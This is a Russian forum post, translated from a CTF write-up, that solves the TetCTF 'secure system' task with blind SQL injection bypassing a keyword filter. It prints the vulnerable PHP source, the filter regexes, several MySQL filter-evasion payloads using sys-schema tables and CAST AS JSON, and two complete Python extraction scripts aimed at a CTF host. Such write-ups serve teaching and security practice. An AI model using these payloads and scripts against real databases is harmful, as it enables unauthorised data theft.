• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Blind SQL Injection без “in”

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Недавно я просмотрел несколько веб-тасков на TetCTF и заметил интересную - «Безопасная система». Цель таска состояла в том, чтобы создать полезную нагрузку Blind SQL Injection без использования:
  • UNION … SELECT
  • information_schema
  • “in” и “or” кейворды
Хотя фильтр был намного сложнее, чем казалось на первый взгляд
1_1rt5Rn_z2XB5MOtqqhuzlA.png

Полный черный список с примерами


Альтернативы таблице information_schema
2.png


Я прошерстил сеть в поисках альтернативных способов получения имен таблиц из базы данных MySQL, но не нашел ничего интересного. Все методы основаны либо на information_schema, либо на mysql.innodb_table_stats, и оба они будут отфильтрованы из-за ключевого слова «in». Итак, мы искали альтернативы и обнаружили таблицу sys.x$schema_flattened_keys
3.png


В приведенном выше примере, table_name содержит не только столбец, но и имя индексированного столбца id. Но это не единственный способ, есть еще одна таблица, sys.schema_table_statistics, которая отображает больше таблиц:
4.png


С этим и слепой техникой SQLi мне удалось получить имя спрятанной таблицы: «Th1z_Fack1n_Fl4444g_Tabl3».


Как эту проблему решали другие люди

Я застрял на некоторое время, пытаясь получить секретное имя столбца, но мне не удалось. Однако я обнаружил таблицу, sys.x$statement_analysis, которая позволила мне искать решения других игроков :)

5.png


Мне было любопытно, нашел ли кто-нибудь имя столбца, но выполнение скрипта занимало слишком много времени, поэтому мне удалось получить только что-то похожее на приведенный выше пример. Это может быть очень удобно при решении других задач SQL в будущем!


Получение информации без названия столбца

6.png


Если таблица содержит только один столбец, легко получить информацию из таблицы, не зная имени столбца. Просто простой SUBSTR((SELECT * FROM table),1,1)='x' все решит. Если таблица содержит более одного столбца, этот запрос выдаст ошибку. Есть хитрость, позволяющая сравнивать запросы с одинаковым количеством столбцов.
7.png


При этом, используя «меньше» (<) вместо «равно» (=), вы можете получить информацию символ за символом. Однако, есть одна проблема - сравнение в MySQL по умолчанию не учитывает регистр.


Принудительное сравнение с учетом регистра

8.png


Это не конец моих открытий в этом простом ctf таске! Хотя я получил секрет строчными буквами, мне нужно был регистро-независимое решение. Я обнаружил, что при приведении строки к двоичному формату это приведет к байт-байтовому сравнению, и это именно то, что мне нужно. Проблема заключалась в том, что этот финт также был отфильтрован из-за ключевого слова «in».
9.png


Я также заметил, что при объединении строки с двоичной строкой CONCAT("aa", BINARY("BB")) результат также будет двоичным.

После некоторых неудачных результатов и проб/ошибок я обнаружил, что CAST(0 AS JSON) также возвращает двоичную строку, поэтому запрос SELECT CONCAT(“A”, CAST(0 AS JSON)) возвращает двоичную строку
10.png

С этим улучшением мне удалось получить полный флаг, который фактически имел только один символ в верхнем регистре: facepalm: и я потратил несколько часов на то, чтобы обойти обход, в то время как я мог просто угадать флаг TetCTF {0wl_d0nkey_means_Liarrrrrrr}


Актуальная проблема и решение

Это именно то, что я люблю в CTF, одна простая задача может привести к довольно удивительным исследованиям. Задача была очень простой. Весь исходный код задачи был в виде фрагмента ниже:
PHP:
<?php
require_once('dbconnect.php');
$flag = mysqli_query($conn,"SELECT * FROM xxxxxxxxxxxxxxxxxxx")->fetch_assoc()['yyyyyyyyyyyyyyyyyyyy']; //Sorry It's our secret, can't share
?>

<br><br><br><br><center>
Security Check!!! Please enter your ID to prove who are you !!!:
<form action="index.php" method="POST">
        <input name="id" value="" /><br>
        <input type="submit" value="Submit" />
</form>
</center>

<?php
if (isset($_POST['id']) && !empty($_POST['id']))
{
        if (preg_match('/and|or|in|if|case|sleep|benchmark/is' , $_POST['id']))
        {
                die('Tet nhat ai lai hack nhau :(, very dangerous key word');
        }
        elseif (preg_match('/order.+?by|union.+?select/is' , $_POST['id']))
        {
                die('Tet nhat ai lai hack nhau :(, very dangerous statement');
        }
        else
        {
                $user = mysqli_query($conn,"SELECT * FROM users WHERE id=".$_POST['id'])->fetch_assoc()['username'];
                if($user!=='admin')
                {
                        echo 'Hello '.htmlentities($user);
                        if($user==='admin')
                        {
                                echo 'This can\'t be =]] Just put here for fun lul';
                                die($flag);
                        }
                }
        }
}
?>
Исходный код задачи

В идеале мы хотели бы использовать что-то вроде ORD(SUBSTR((SELECT smth),x,1))=77 для извлечения значений при помощи Blind SQL, но ORD отфильтрован из-за ключевого слова «or». Это можно легко обойти при помощи CONV(HEX(SUBSTR((SELECT ...),x,1)),16,10)=77

11.png


После всех моих телодвижений и открытий, я извлек флаг при помощи простого пейлоада:
12.png


Мое полное решение:
get_flag.py
Python:
import requests

sess = requests.Session()

URL = 'http://45.77.240.178:8002'

payload = '''((SELECT 1,CONCAT({flag}, CAST("0" as JSON))) <= (SELECT * FROM `Th1z_Fack1n_Fl4444g_Tabl3`))+1'''

def try_payload(payload):
    r = sess.post(URL, data={'id':payload})
    return 'Hello guest' not in r.text

ASCIIAlphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz}"

flag2 = 'TETCTF{0WL_D0NKEY_MEANS_LIARRRRRRR}'
flag = 'TetCTF{0wl_d0nkey_m'
last_c = ''
while True:
    for c in ASCIIAlphabet:
        # print('try: %s' %c)
        t = flag + c
        t = '0x'+t.encode('hex')
        if try_payload(payload.format(flag=t)):
            flag += last_c
            print(flag)
            last_c = ''
            break
        last_c = c

get_table_name.py
Python:
import requests, urllib, re, sys

sess = requests.Session()
fancy_console = False


URL = 'http://45.77.240.178:8002'
payload = '''EXP(
        (CONV(
            HEX(
                SUBSTR({variable},@wOFFSET@,1)
            ),16,10
        )<=@cORD@)
    *1111)+1'''

ASCIIAlphabet = "\001 !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
simpleAlphabet = "\001abcdefghijklmnopqrstuvwxyz"
HEXAlphabet = "\0010123456789abcdef"
advancedAlphabet= "\0010123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"



def gen_payload(variable):
    p = payload.format(variable=variable)
    return re.sub(r'\s+', ' ', p)

def check_char(id):
    pass

def printInPlace(alert):
    if fancy_console:
        sys.stdout.write("{}{}".format(alert, "\b"*len(alert)))
        sys.stdout.flush()
    return fancy_console


def tryPayload(payload):
    r = sess.post(URL, data={'id':payload})
    return 'Hello guest' in r.text

#bin-search ASCII inside [alphabet]
def findName(payload, alphabet):
    a = 0
    b = len(alphabet)-1
    while (a < b):
        mid = (a+b)//2
        c = alphabet[mid]
        printInPlace(c)
        if tryPayload(payload
            .replace("@cORD@", str(ord(c)))
            ): a = mid + 1
        else:
            b = mid
    return alphabet[a]


def findNames(payload, alphabet):
    for result_offset in range(0, 10):
        result = ""
        pl = payload.replace("@rOFFSET@", str(result_offset))
        for word_offset in range(1, 200):
            pl2 = pl.replace("@wOFFSET@", str(word_offset))
            c = findName(pl2, alphabet)
            # print(c)
            if c == alphabet[0]: break
            print(c, end='')
            sys.stdout.flush()
            # sys.stdout.write(c)
            # sys.stdout.flush
            result+=c
        print(" ")
        if len(result) <= 1: break
    return


# filter
# preg_match('/and|or|in|if|case|sleep|benchmark/is' , $_POST['id'])
# preg_match('/order.+?by|union.+?select/is' , $_POST['id'])

# Th1z_Fack1n_Fl4444g_Tabl3
findNames(gen_payload('''(select table_name from sys.x$schema_flattened_keys LIMIT @rOFFSET@, 1)'''), advancedAlphabet)


# retrieve others' solutions
# findNames(gen_payload('''(select query from sys.`x$statement_analysis` where query like '%Th1z_Fack1n_Fl4444g_Tabl3%' LIMIT @rOFFSET@, 1)'''), ASCIIAlphabet)


оригинальная заметка
автор @terjanq
Перевод: tabac, специально для https://xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх